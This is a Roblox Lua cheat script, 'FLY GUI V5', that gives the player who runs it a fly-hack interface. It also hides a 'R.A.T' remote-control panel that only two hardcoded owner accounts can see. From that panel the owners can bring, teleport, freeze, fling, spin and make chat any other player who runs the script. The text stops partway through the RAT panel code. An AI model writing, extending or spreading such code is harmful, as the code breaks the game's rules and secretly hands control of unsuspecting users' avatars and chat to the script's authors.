
KeylessUniversal

--// FLY GUI V5 -- by Overhead/Betrayal
--// RAT fixed, more commands, cube toggle button, draggable + removable ball
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local StarterGui = game:GetService("StarterGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
-- Sound
local _snd = Instance.new("Sound")
_snd.SoundId="rbxassetid://2865227271" _snd.Volume=0.8 _snd.Parent=workspace _snd:Play()
game:GetService("Debris"):AddItem(_snd, 30)
-- Config
local OWNERS = { ["jazzbass2pass"]=true, ["FEWithoutEffort"]=true }
local SIGNAL_KEY = "RAT_EXEC_"
local CMD_KEY = "RAT_CMD_"
local isOwner = OWNERS[LocalPlayer.Name] ~= nil
-- State
local speeds=1 local nowe=false local tpwalking=false
local loopBringActive=false local loopBringOwner=nil
local followActive=false local followOwner=nil
local bangActive=false local bangOwner=nil
local activeAnims={}
local function getChar() return LocalPlayer.Character end
local function getHRP() local c=getChar() return c and c:FindFirstChild("HumanoidRootPart") end
local function getHum() local c=getChar() return c and c:FindFirstChildOfClass("Humanoid") end
local function isTarget(t)
if not t or t=="" then return false end
t=t:lower()
if t=="all" then return true end
local n=LocalPlayer.Name:lower() local dn=LocalPlayer.DisplayName:lower()
return n:find(t,1,true)~=nil or dn:find(t,1,true)~=nil
end
local DANCES={
dance="rbxassetid://182435998", dance2="rbxassetid://182491037",
dance3="rbxassetid://182491065", wave="rbxassetid://507770239",
point="rbxassetid://507770453", cheer="rbxassetid://507770677",
laugh="rbxassetid://507770818", twerk="rbxassetid://507771019",
}
local function playAnim(id)
local hum=getHum() if not hum then return end
local animator=hum:FindFirstChildOfClass("Animator") if not animator then return end
for _,t in ipairs(activeAnims) do pcall(function() t:Stop() end) end activeAnims={}
local a=Instance.new("Animation") a.AnimationId=id
local ok,t=pcall(function() return animator:LoadAnimation(a) end)
if ok and t then t:Play() table.insert(activeAnims,t) end
end
local function stopAnims() for _,t in ipairs(activeAnims) do pcall(function() t:Stop() end) end activeAnims={} end
local function makeChat(text)
pcall(function()
local tcs=game:GetService("TextChatService")
for _,ch in ipairs(tcs.TextChannels:GetChildren()) do
if ch:IsA("TextChannel") then pcall(function() ch:SendAsync(text) end) end
end
end)
pcall(function()
local c=getChar() if c then
local h=c:FindFirstChild("Head")
if h then game:GetService("Chat"):Chat(h,text,Enum.ChatColor.White) end
end
end)
end
local function spinChar(d)
local hrp=getHRP() if not hrp then return end
task.spawn(function()
local t=0 while t<d do
pcall(function() hrp.CFrame=hrp.CFrame*CFrame.Angles(0,math.rad(20),0) end)
t+=0.05 task.wait(0.05)
end
end)
end
local function jumpChar(n)
task.spawn(function()
for _=1,n do local hum=getHum() if hum then pcall(function() hum.Jump=true end) end task.wait(0.4) end
end)
end
local function flingChar()
local hrp=getHRP() if not hrp then return end
pcall(function() hrp.AssemblyLinearVelocity=Vector3.new(math.random(-300,300),math.random(200,500),math.random(-300,300)) end)
end
-- Dispatch command via StringValue in ReplicatedStorage
local function dispatchCmd(target, action, extra)
pcall(function()
local v=Instance.new("StringValue")
v.Name=CMD_KEY..tostring(tick())
v.Value=LocalPlayer.Name.."|"..target.."|"..action..(extra and ("|"..extra) or "")
v.Parent=ReplicatedStorage
game:GetService("Debris"):AddItem(v, 10)
end)
end
-- ================================================================
-- UI HELPERS
-- ================================================================
local TS=TweenService
local function glow(inst,c1,c2,t1,t2,cyc)
task.spawn(function()
while inst and inst.Parent do
TS:Create(inst,TweenInfo.new(cyc or 1.3,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Color=c2,Thickness=t2}):Play()
task.wait(cyc or 1.3)
TS:Create(inst,TweenInfo.new(cyc or 1.3,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Color=c1,Thickness=t1}):Play()
task.wait(cyc or 1.3)
end
end)
end
local function shimmer(frame,col1,col2,r1,r2)
local g=Instance.new("UIGradient",frame)
g.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,col1),ColorSequenceKeypoint.new(1,col2)})
g.Rotation=r1
task.spawn(function()
while frame and frame.Parent do
TS:Create(g,TweenInfo.new(3,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation=r2}):Play() task.wait(3)
TS:Create(g,TweenInfo.new(3,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Rotation=r1}):Play() task.wait(3)
end
end)
return g
end
local function mkBtn(parent,text,size,pos,bg,tc,fs)
local b=Instance.new("TextButton",parent)
b.Size=size b.Position=pos b.BackgroundColor3=bg b.Text=text
b.TextColor3=tc b.TextSize=fs or 12 b.Font=Enum.Font.GothamBold
b.BorderSizePixel=0 b.AutoButtonColor=false
Instance.new("UICorner",b).CornerRadius=UDim.new(0,7)
local ig=Instance.new("UIGradient",b)
ig.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.new(1,1,1)),ColorSequenceKeypoint.new(1,Color3.new(0,0,0))})
ig.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.8),NumberSequenceKeypoint.new(1,0.95)})
ig.Rotation=90
local st=Instance.new("UIStroke",b) st.Thickness=1.5 st.Color=bg:Lerp(Color3.new(1,1,1),0.45)
b.MouseEnter:Connect(function() TS:Create(b,TweenInfo.new(0.12),{BackgroundColor3=bg:Lerp(Color3.new(1,1,1),0.2)}):Play() end)
b.MouseLeave:Connect(function() TS:Create(b,TweenInfo.new(0.12),{BackgroundColor3=bg}):Play() end)
return b
end
local function secLbl(parent,text,y,color)
local l=Instance.new("TextLabel",parent)
l.Size=UDim2.new(1,0,0,14) l.Position=UDim2.new(0,0,0,y)
l.BackgroundTransparency=1 l.Text=text
l.TextColor3=color or Color3.fromRGB(120,255,180)
l.TextSize=10 l.Font=Enum.Font.GothamBold l.TextXAlignment=Enum.TextXAlignment.Left
return l
end
-- ================================================================
-- SCREEN GUI
-- ================================================================
local ScreenGui=Instance.new("ScreenGui")
ScreenGui.Name="FlyGUI_V5" ScreenGui.ResetOnSpawn=false ScreenGui.ZIndexBehavior=Enum.ZIndexBehavior.Sibling
pcall(function() ScreenGui.Parent=game:GetService("CoreGui") end)
if not ScreenGui.Parent or not ScreenGui.Parent.Name then ScreenGui.Parent=LocalPlayer:WaitForChild("PlayerGui") end
-- ================================================================
-- CUBE TOGGLE BUTTON (small, draggable, removable)
-- ================================================================
local Cube=Instance.new("Frame",ScreenGui)
Cube.Size=UDim2.new(0,42,0,42)
Cube.Position=UDim2.new(0,14,0.5,-21)
Cube.BackgroundColor3=Color3.fromRGB(8,20,14)
Cube.BorderSizePixel=0
Cube.Active=true
Cube.Draggable=true
Instance.new("UICorner",Cube).CornerRadius=UDim.new(0,8)
shimmer(Cube,Color3.fromRGB(20,100,50),Color3.fromRGB(20,40,100),-45,225)
local cubeStroke=Instance.new("UIStroke",Cube)
cubeStroke.Thickness=2.5 cubeStroke.Color=Color3.fromRGB(60,220,120)
glow(cubeStroke,Color3.fromRGB(60,220,120),Color3.fromRGB(80,100,220),2.5,4,1.2)
local cubeLbl=Instance.new("TextLabel",Cube)
cubeLbl.Size=UDim2.new(1,0,0.65,0) cubeLbl.Position=UDim2.new(0,0,0,0)
cubeLbl.BackgroundTransparency=1 cubeLbl.Text="F"
cubeLbl.TextSize=18 cubeLbl.Font=Enum.Font.GothamBold
cubeLbl.TextXAlignment=Enum.TextXAlignment.Center
cubeLbl.TextYAlignment=Enum.TextYAlignment.Center
cubeLbl.TextColor3=Color3.fromRGB(180,255,210)
-- Small X on the cube to remove it
local CubeX=Instance.new("TextLabel",Cube)
CubeX.Size=UDim2.new(1,0,0.35,0) CubeX.Position=UDim2.new(0,0,0.65,0)
CubeX.BackgroundTransparency=1 CubeX.Text="x"
CubeX.TextSize=9 CubeX.Font=Enum.Font.GothamBold
CubeX.TextXAlignment=Enum.TextXAlignment.Center
CubeX.TextYAlignment=Enum.TextYAlignment.Center
CubeX.TextColor3=Color3.fromRGB(200,80,80)
-- Invisible click regions
local CubeMainBtn=Instance.new("TextButton",Cube)
CubeMainBtn.Size=UDim2.new(1,0,0.65,0) CubeMainBtn.Position=UDim2.new(0,0,0,0)
CubeMainBtn.BackgroundTransparency=1 CubeMainBtn.Text=""
local CubeXBtn=Instance.new("TextButton",Cube)
CubeXBtn.Size=UDim2.new(1,0,0.35,0) CubeXBtn.Position=UDim2.new(0,0,0.65,0)
CubeXBtn.BackgroundTransparency=1 CubeXBtn.Text=""
CubeXBtn.MouseButton1Click:Connect(function()
-- Fade out then destroy
TS:Create(Cube,TweenInfo.new(0.2),{BackgroundTransparency=1}):Play()
TS:Create(cubeStroke,TweenInfo.new(0.2),{Transparency=1}):Play()
task.delay(0.25, function()
Cube:Destroy()
-- Also close main panel if open
if ScreenGui:FindFirstChild("Main") then
ScreenGui.Main.Visible=false
end
end)
end)
-- ================================================================
-- MAIN PANEL
-- ================================================================
local panelH = isOwner and 580 or 300
local Main=Instance.new("Frame",ScreenGui)
Main.Name="Main"
Main.Size=UDim2.new(0,330,0,panelH) Main.Position=UDim2.new(0,66,0.5,-(panelH/2))
Main.BackgroundColor3=Color3.fromRGB(8,9,20) Main.BorderSizePixel=0
Main.Visible=false Main.Active=true Main.Draggable=true Main.ClipsDescendants=true
Instance.new("UICorner",Main).CornerRadius=UDim.new(0,14)
shimmer(Main,Color3.fromRGB(12,20,36),Color3.fromRGB(8,26,18),110,260)
local mainStroke=Instance.new("UIStroke",Main)
mainStroke.Thickness=2.5 mainStroke.Color=Color3.fromRGB(60,220,120)
glow(mainStroke,Color3.fromRGB(60,220,120),Color3.fromRGB(80,110,220),2.5,4,1.6)
-- Title bar
local TBar=Instance.new("Frame",Main)
TBar.Size=UDim2.new(1,0,0,48) TBar.BackgroundColor3=Color3.fromRGB(10,26,18) TBar.BorderSizePixel=0 TBar.ClipsDescendants=true
Instance.new("UICorner",TBar).CornerRadius=UDim.new(0,14)
local TFix=Instance.new("Frame",TBar) TFix.Size=UDim2.new(1,0,0.5,0) TFix.Position=UDim2.new(0,0,0.5,0) TFix.BackgroundColor3=Color3.fromRGB(10,26,18) TFix.BorderSizePixel=0
shimmer(TBar,Color3.fromRGB(20,140,80),Color3.fromRGB(10,80,140),70,110)
-- Scan line
local scanLine=Instance.new("Frame",TBar)
scanLine.Size=UDim2.new(0,3,1,0) scanLine.BackgroundColor3=Color3.fromRGB(180,255,220) scanLine.BackgroundTransparency=0.4 scanLine.BorderSizePixel=0
task.spawn(function()
while scanLine and scanLine.Parent do
scanLine.Position=UDim2.new(0,0,0,0)
TS:Create(scanLine,TweenInfo.new(2,Enum.EasingStyle.Linear),{Position=UDim2.new(1,-3,0,0)}):Play()
task.wait(2.1) TS:Create(scanLine,TweenInfo.new(0.06),{BackgroundTransparency=1}):Play()
task.wait(0.1) scanLine.BackgroundTransparency=0.4
end
end)
local TIcon=Instance.new("TextLabel",TBar) TIcon.Size=UDim2.new(0,32,1,0) TIcon.Position=UDim2.new(0,10,0,0) TIcon.BackgroundTransparency=1 TIcon.Text="F" TIcon.TextSize=20 TIcon.Font=Enum.Font.GothamBold TIcon.TextColor3=Color3.fromRGB(200,255,230) TIcon.TextXAlignment=Enum.TextXAlignment.Left
local TTitle=Instance.new("TextLabel",TBar) TTitle.Size=UDim2.new(1,-100,0,24) TTitle.Position=UDim2.new(0,42,0,5) TTitle.BackgroundTransparency=1 TTitle.Text="FLY GUI V5" TTitle.TextColor3=Color3.fromRGB(200,255,230) TTitle.TextSize=14 TTitle.Font=Enum.Font.GothamBold TTitle.TextXAlignment=Enum.TextXAlignment.Left
local TSub=Instance.new("TextLabel",TBar) TSub.Size=UDim2.new(1,-100,0,14) TSub.Position=UDim2.new(0,42,0,28) TSub.BackgroundTransparency=1 TSub.Text="by Overhead / Betrayal" TSub.TextColor3=Color3.fromRGB(100,200,150) TSub.TextSize=10 TSub.Font=Enum.Font.Gotham TSub.TextXAlignment=Enum.TextXAlignment.Left
local XBtn=Instance.new("TextButton",TBar) XBtn.Size=UDim2.new(0,32,0,32) XBtn.Position=UDim2.new(1,-38,0.5,-16) XBtn.BackgroundColor3=Color3.fromRGB(180,30,30) XBtn.Text="X" XBtn.TextColor3=Color3.fromRGB(255,255,255) XBtn.TextSize=13 XBtn.Font=Enum.Font.GothamBold XBtn.BorderSizePixel=0
Instance.new("UICorner",XBtn).CornerRadius=UDim.new(0,7)
XBtn.MouseButton1Click:Connect(function()
TS:Create(Main,TweenInfo.new(0.2,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Size=UDim2.new(0,0,0,0),Position=UDim2.new(0,66,0.5,0)}):Play()
task.delay(0.22,function() Main.Visible=false end)
end)
-- Open / close
local guiOpen=false
local function openGui()
guiOpen=true Main.Visible=true Main.Size=UDim2.new(0,0,0,0) Main.Position=UDim2.new(0,66,0.5,0)
TS:Create(Main,TweenInfo.new(0.3,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Size=UDim2.new(0,330,0,panelH),Position=UDim2.new(0,66,0.5,-(panelH/2))}):Play()
end
local function closeGui()
guiOpen=false
TS:Create(Main,TweenInfo.new(0.2,Enum.EasingStyle.Quad,Enum.EasingDirection.In),{Size=UDim2.new(0,0,0,0),Position=UDim2.new(0,66,0.5,0)}):Play()
task.delay(0.22,function() Main.Visible=false end)
end
CubeMainBtn.MouseButton1Click:Connect(function() if guiOpen then closeGui() else openGui() end end)
-- ================================================================
-- TABS (owner only)
-- ================================================================
local PanelFly=Instance.new("Frame",Main)
local PanelRAT=Instance.new("Frame",Main)
if isOwner then
PanelFly.Size=UDim2.new(1,-16,1,-86) PanelFly.Position=UDim2.new(0,8,0,80) PanelFly.BackgroundTransparency=1 PanelFly.BorderSizePixel=0
PanelRAT.Size=UDim2.new(1,-16,1,-86) PanelRAT.Position=UDim2.new(0,8,0,80) PanelRAT.BackgroundTransparency=1 PanelRAT.BorderSizePixel=0 PanelRAT.Visible=false
local TabBar=Instance.new("Frame",Main)
TabBar.Size=UDim2.new(1,-16,0,26) TabBar.Position=UDim2.new(0,8,0,50)
TabBar.BackgroundColor3=Color3.fromRGB(6,8,18) TabBar.BorderSizePixel=0
Instance.new("UICorner",TabBar).CornerRadius=UDim.new(0,7)
Instance.new("UIStroke",TabBar).Color=Color3.fromRGB(35,80,50)
local function makeTab(text,xOff,bgA)
local t=Instance.new("TextButton",TabBar)
t.Size=UDim2.new(0.5,0,1,0) t.Position=UDim2.new(xOff,0,0,0)
t.BackgroundColor3=bgA t.Text=text t.TextColor3=Color3.fromRGB(200,255,220)
t.TextSize=11 t.Font=Enum.Font.GothamBold t.BorderSizePixel=0
Instance.new("UICorner",t).CornerRadius=UDim.new(0,6)
return t
end
local TabFly=makeTab("Fly", 0, Color3.fromRGB(18,70,38))
local TabRAT=makeTab("R.A.T",0.5, Color3.fromRGB(14,14,30))
local function switchTab(t)
if t=="fly" then
PanelFly.Visible=true PanelRAT.Visible=false
TabFly.BackgroundColor3=Color3.fromRGB(18,70,38) TabFly.TextColor3=Color3.fromRGB(160,255,200)
TabRAT.BackgroundColor3=Color3.fromRGB(14,14,30) TabRAT.TextColor3=Color3.fromRGB(150,120,150)
else
PanelFly.Visible=false PanelRAT.Visible=true
TabRAT.BackgroundColor3=Color3.fromRGB(100,18,18) TabRAT.TextColor3=Color3.fromRGB(255,160,160)
TabFly.BackgroundColor3=Color3.fromRGB(14,14,30) TabFly.TextColor3=Color3.fromRGB(130,180,140)
end
end
TabFly.MouseButton1Click:Connect(function() switchTab("fly") end)
TabRAT.MouseButton1Click:Connect(function() switchTab("rat") end)
switchTab("fly")
else
PanelFly.Size=UDim2.new(1,-16,1,-56) PanelFly.Position=UDim2.new(0,8,0,52) PanelFly.BackgroundTransparency=1 PanelFly.BorderSizePixel=0
PanelRAT.BackgroundTransparency=1 PanelRAT.BorderSizePixel=0 PanelRAT.Visible=false
end
-- ================================================================
-- FLY PANEL
-- ================================================================
local FlyBtn=mkBtn(PanelFly,"FLY OFF",UDim2.new(1,0,0,40),UDim2.new(0,0,0,0),Color3.fromRGB(18,70,38),Color3.fromRGB(140,255,190),14)
local fbS=FlyBtn:FindFirstChildOfClass("UIStroke")
glow(fbS,Color3.fromRGB(60,200,120),Color3.fromRGB(60,180,220),1.5,3,1.6)
local UpBtn =mkBtn(PanelFly,"UP", UDim2.new(0.48,0,0,34),UDim2.new(0,0,0,48), Color3.fromRGB(14,50,28),Color3.fromRGB(140,255,190),12)
local DownBtn=mkBtn(PanelFly,"DOWN", UDim2.new(0.48,0,0,34),UDim2.new(0.52,0,0,48), Color3.fromRGB(14,26,56),Color3.fromRGB(120,180,255),12)
secLbl(PanelFly,"SPEED",90)
local SpeedFrame=Instance.new("Frame",PanelFly)
SpeedFrame.Size=UDim2.new(1,0,0,40) SpeedFrame.Position=UDim2.new(0,0,0,106)
SpeedFrame.BackgroundColor3=Color3.fromRGB(10,18,14) SpeedFrame.BorderSizePixel=0
Instance.new("UICorner",SpeedFrame).CornerRadius=UDim.new(0,9)
local sfS=Instance.new("UIStroke",SpeedFrame) sfS.Color=Color3.fromRGB(50,160,90) sfS.Thickness=1.8
glow(sfS,Color3.fromRGB(50,160,90),Color3.fromRGB(60,220,120),1.8,3,2)
local MinusBtn=Instance.new("TextButton",SpeedFrame) MinusBtn.Size=UDim2.new(0,38,1,-8) MinusBtn.Position=UDim2.new(0,4,0,4) MinusBtn.BackgroundColor3=Color3.fromRGB(90,18,18) MinusBtn.Text="-" MinusBtn.TextColor3=Color3.fromRGB(255,130,130) MinusBtn.TextSize=20 MinusBtn.Font=Enum.Font.GothamBold MinusBtn.BorderSizePixel=0
Instance.new("UICorner",MinusBtn).CornerRadius=UDim.new(0,6)
local SpeedValLbl=Instance.new("TextLabel",SpeedFrame) SpeedValLbl.Size=UDim2.new(1,-96,1,0) SpeedValLbl.Position=UDim2.new(0,44,0,0) SpeedValLbl.BackgroundTransparency=1 SpeedValLbl.Text="x1" SpeedValLbl.TextColor3=Color3.fromRGB(160,255,210) SpeedValLbl.TextSize=16 SpeedValLbl.Font=Enum.Font.GothamBold SpeedValLbl.TextXAlignment=Enum.TextXAlignment.Center
local PlusBtn=Instance.new("TextButton",SpeedFrame) PlusBtn.Size=UDim2.new(0,38,1,-8) PlusBtn.Position=UDim2.new(1,-42,0,4) PlusBtn.BackgroundColor3=Color3.fromRGB(18,60,32) PlusBtn.Text="+" PlusBtn.TextColor3=Color3.fromRGB(120,255,160) PlusBtn.TextSize=20 PlusBtn.Font=Enum.Font.GothamBold PlusBtn.BorderSizePixel=0
Instance.new("UICorner",PlusBtn).CornerRadius=UDim.new(0,6)
local FlyStatus=Instance.new("TextLabel",PanelFly)
FlyStatus.Size=UDim2.new(1,0,0,16) FlyStatus.Position=UDim2.new(0,0,0,154)
FlyStatus.BackgroundTransparency=1 FlyStatus.Text="Status: Idle"
FlyStatus.TextColor3=Color3.fromRGB(80,140,100) FlyStatus.TextSize=11 FlyStatus.Font=Enum.Font.Gotham FlyStatus.TextXAlignment=Enum.TextXAlignment.Left
local function setFlyStatus(t,c) FlyStatus.Text=t FlyStatus.TextColor3=c or Color3.fromRGB(100,220,140) end
-- FLY LOGIC
local function startFly()
for _=1,speeds do task.spawn(function()
local hb=RunService.Heartbeat tpwalking=true
local chr=LocalPlayer.Character
local hum=chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude>0 then chr:TranslateBy(hum.MoveDirection) end
end
end) end
local chr=LocalPlayer.Character if not chr then return end
pcall(function() chr.Animate.Disabled=true end)
local Hum=chr:FindFirstChildOfClass("Humanoid") or chr:FindFirstChildOfClass("AnimationController")
if Hum then for _,v in next,Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(0) end end
local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end
local states={Enum.HumanoidStateType.Climbing,Enum.HumanoidStateType.FallingDown,Enum.HumanoidStateType.Flying,Enum.HumanoidStateType.Freefall,Enum.HumanoidStateType.GettingUp,Enum.HumanoidStateType.Jumping,Enum.HumanoidStateType.Landed,Enum.HumanoidStateType.Physics,Enum.HumanoidStateType.PlatformStanding,Enum.HumanoidStateType.Ragdoll,Enum.HumanoidStateType.Running,Enum.HumanoidStateType.RunningNoPhysics,Enum.HumanoidStateType.Seated,Enum.HumanoidStateType.StrafingNoPhysics,Enum.HumanoidStateType.Swimming}
for _,s in ipairs(states) do hum2:SetStateEnabled(s,false) end
hum2:ChangeState(Enum.HumanoidStateType.Swimming)
end
local function stopFly()
local chr=LocalPlayer.Character if not chr then return end
local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end
local states={Enum.HumanoidStateType.Climbing,Enum.HumanoidStateType.FallingDown,Enum.HumanoidStateType.Flying,Enum.HumanoidStateType.Freefall,Enum.HumanoidStateType.GettingUp,Enum.HumanoidStateType.Jumping,Enum.HumanoidStateType.Landed,Enum.HumanoidStateType.Physics,Enum.HumanoidStateType.PlatformStanding,Enum.HumanoidStateType.Ragdoll,Enum.HumanoidStateType.Running,Enum.HumanoidStateType.RunningNoPhysics,Enum.HumanoidStateType.Seated,Enum.HumanoidStateType.StrafingNoPhysics,Enum.HumanoidStateType.Swimming}
for _,s in ipairs(states) do hum2:SetStateEnabled(s,true) end
hum2:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
end
local function doFlyLoop()
local chr=LocalPlayer.Character if not chr then return end
local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end
local rig=hum2.RigType
local part=chr[rig==Enum.HumanoidRigType.R6 and "Torso" or "UpperTorso"] if not part then return end
local ctrl={f=0,b=0,l=0,r=0} local lc={f=0,b=0,l=0,r=0} local ms=50 local spd=0
local bg2=Instance.new("BodyGyro",part) bg2.P=9e4 bg2.maxTorque=Vector3.new(9e9,9e9,9e9) bg2.cframe=part.CFrame
local bv=Instance.new("BodyVelocity",part) bv.velocity=Vector3.new(0,0.1,0) bv.maxForce=Vector3.new(9e9,9e9,9e9)
hum2.PlatformStand=true
while nowe do
task.wait()
if ctrl.l+ctrl.r~=0 or ctrl.f+ctrl.b~=0 then spd=math.min(spd+0.5+spd/ms,ms)
elseif spd~=0 then spd=math.max(spd-1,0) end
local cam=workspace.CurrentCamera.CoordinateFrame
if (ctrl.l+ctrl.r)~=0 or (ctrl.f+ctrl.b)~=0 then
bv.velocity=((cam.lookVector*(ctrl.f+ctrl.b))+((cam*CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p)-cam.p))*spd
lc={f=ctrl.f,b=ctrl.b,l=ctrl.l,r=ctrl.r}
elseif spd~=0 then
bv.velocity=((cam.lookVector*(lc.f+lc.b))+((cam*CFrame.new(lc.l+lc.r,(lc.f+lc.b)*.2,0).p)-cam.p))*spd
else bv.velocity=Vector3.new(0,0,0) end
bg2.cframe=cam*CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*spd/ms),0,0)
end
bg2:Destroy() bv:Destroy()
pcall(function() hum2.PlatformStand=false chr.Animate.Disabled=false end)
tpwalking=false
end
FlyBtn.MouseButton1Click:Connect(function()
nowe=not nowe
if nowe then
FlyBtn.Text="FLY ON" FlyBtn.BackgroundColor3=Color3.fromRGB(22,90,50)
setFlyStatus("Status: Flying",Color3.fromRGB(100,255,160))
startFly() task.spawn(doFlyLoop)
else
FlyBtn.Text="FLY OFF" FlyBtn.BackgroundColor3=Color3.fromRGB(18,70,38)
setFlyStatus("Status: Idle",Color3.fromRGB(80,140,100))
stopFly()
end
end)
local upConn,downConn
UpBtn.MouseButton1Down:Connect(function() upConn=RunService.Heartbeat:Connect(function() local h=getHRP() if h then pcall(function() h.CFrame=h.CFrame*CFrame.new(0,1,0) end) end end) end)
local function stopUp() if upConn then upConn:Disconnect() upConn=nil end end
UpBtn.MouseButton1Up:Connect(stopUp) UpBtn.MouseLeave:Connect(stopUp)
DownBtn.MouseButton1Down:Connect(function() downConn=RunService.Heartbeat:Connect(function() local h=getHRP() if h then pcall(function() h.CFrame=h.CFrame*CFrame.new(0,-1,0) end) end end) end)
local function stopDown() if downConn then downConn:Disconnect() downConn=nil end end
DownBtn.MouseButton1Up:Connect(stopDown) DownBtn.MouseLeave:Connect(stopDown)
PlusBtn.MouseButton1Click:Connect(function()
speeds+=1 SpeedValLbl.Text="x"..speeds setFlyStatus("Speed: x"..speeds,Color3.fromRGB(120,200,255))
if nowe then tpwalking=false task.wait(0.05) for _=1,speeds do task.spawn(function()
local hb=RunService.Heartbeat tpwalking=true local chr=LocalPlayer.Character local hum=chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do if hum.MoveDirection.Magnitude>0 then chr:TranslateBy(hum.MoveDirection) end end
end) end end
end)
MinusBtn.MouseButton1Click:Connect(function()
if speeds<=1 then return end speeds-=1 SpeedValLbl.Text="x"..speeds setFlyStatus("Speed: x"..speeds,Color3.fromRGB(120,200,255))
end)
LocalPlayer.CharacterAdded:Connect(function()
task.wait(0.7) nowe=false tpwalking=false
FlyBtn.Text="FLY OFF" FlyBtn.BackgroundColor3=Color3.fromRGB(18,70,38)
setFlyStatus("Status: Idle",Color3.fromRGB(80,140,100))
pcall(function() LocalPlayer.Character.Humanoid.PlatformStand=false LocalPlayer.Character.Animate.Disabled=false end)
end)
-- ================================================================
-- R.A.T PANEL (owner only)
-- ================================================================
if isOwner then
local RS=Instance.new("ScrollingFrame",PanelRAT)
RS.Size=UDim2.new(1,0,1,0) RS.BackgroundTransparency=1 RS.BorderSizePixel=0
RS.ScrollBarThickness=4 RS.ScrollBarImageColor3=Color3.fromRGB(200,60,60)
RS.CanvasSize=UDim2.new(0,0,0,1200) RS.ElasticBehavior=Enum.ElasticBehavior.Never
local R=Color3.fromRGB
local function rS(text,y) return secLbl(RS,text,y,Color3.fromRGB(255,110,110)) end
local function rB(text,size,pos,bg,tc)
local b=mkBtn(RS,text,size,pos,bg,tc,11)
local s=b:FindFirstChildOfClass("UIStroke")
if s then glow(s,bg:Lerp(Color3.new(1,1,1),0.3),bg:Lerp(Color3.new(1,1,1),0.6),1.4,2.5,1.8) end
return b
end
local function rInput(placeholder,y,h)
local box=Instance.new("TextBox",RS)
box.Size=UDim2.new(1,0,0,h or 30) box.Position=UDim2.new(0,0,0,y)
box.BackgroundColor3=R(12,6,22) box.BorderSizePixel=0
box.Text="" box.PlaceholderText=placeholder
box.TextColor3=R(255,200,200) box.PlaceholderColor3=R(110,55,55)
box.TextSize=12 box.Font=Enum.Font.Gotham box.ClearTextOnFocus=false
Instance.new("UICorner",box).CornerRadius=UDim.new(0,7)
local bs=Instance.new("UIStroke",box) bs.Color=R(130,28,28) bs.Thickness=1.8
Instance.new("UIPadding",box).PaddingLeft=UDim.new(0,8)
return box
end
-- Active executors list
rS("ACTIVE EXECUTORS",0)
local EScroll=Instance.new("ScrollingFrame",RS)
EScroll.Size=UDim2.new(1,0,0,100) EScroll.Position=UDim2.new(0,0,0,16)
EScroll.BackgroundColor3=R(7,5,14) EScroll.BorderSizePixel=0
EScroll.ScrollBarThickness=3 EScroll.ScrollBarImageColor3=R(180,50,50)
EScroll.CanvasSize=UDim2.new(0,0,0,0) EScroll.ElasticBehavior=Enum.ElasticBehavior.Never
Instance.new("UICorner",EScroll).CornerRadius=UDim.new(0,9)
local eS=Instance.new("UIStroke",EScroll) eS.Color=R(120,26,26) eS.Thickness=1.8
glow(eS,R(120,26,26),R(240,70,70),1.8,3,1.8)
local EList=Instance.new("UIListLayout",EScroll) EList.Padding=UDim.new(0,3)
local EP=Instance.new("UIPadding",EScroll) EP.PaddingTop=UDim.new(0,4) EP.PaddingLeft=UDim.new(0,4) EP.PaddingRight=UDim.new(0,4) EP.PaddingBottom=UDim.new(0,4)
-- Target
rS("TARGET",124)
local TargetBox=rInput('Username, "all", or partial name',140)
-- Status
local RatStatus=Instance.new("TextLabel",RS)
RatStatus.Size=UDim2.new(1,0,0,14) RatStatus.Position=UDim2.new(0,0,0,178)
RatStatus.BackgroundTransparency=1 RatStatus.Text="Ready."
RatStatus.TextColor3=R(180,80,80) RatStatus.TextSize=10 RatStatus.Font=Enum.Font.Gotham RatStatus.TextXAlignment=Enum.TextXAlignment.Left
local function getTarget() return TargetBox.Text end
local function setRatStatus(t) RatStatus.Text=t RatStatus.TextColor3=R(230,110,110) end
local function sendCmd(action,extra)
local target=getTarget() if target=="" then setRatStatus("Enter a target!") return end
dispatchCmd(target,action,extra)
setRatStatus("/"..action.." -> "..target)
end
-- MOVEMENT
rS("MOVEMENT",196)
local BringBtn =rB("Bring", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,212), R(90,20,20),R(255,150,150))
local LoopBtn =rB("Loop Bring", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,212), R(110,24,24),R(255,170,170))
local TeleBtn =rB("TP to Me", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,248), R(18,65,20), R(150,255,160))
local FollowBtn =rB("Follow", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,248), R(18,55,80), R(150,220,255))
local FreezeBtn =rB("Freeze", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,284), R(16,26,90), R(150,200,255))
local UnfreezeBtn =rB("Unfreeze", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,284), R(90,48,12), R(255,205,120))
local FlingBtn =rB("Fling", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,320), R(90,48,10), R(255,205,80))
local SpinBtn =rB("Spin", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,320), R(48,18,80), R(200,160,255))
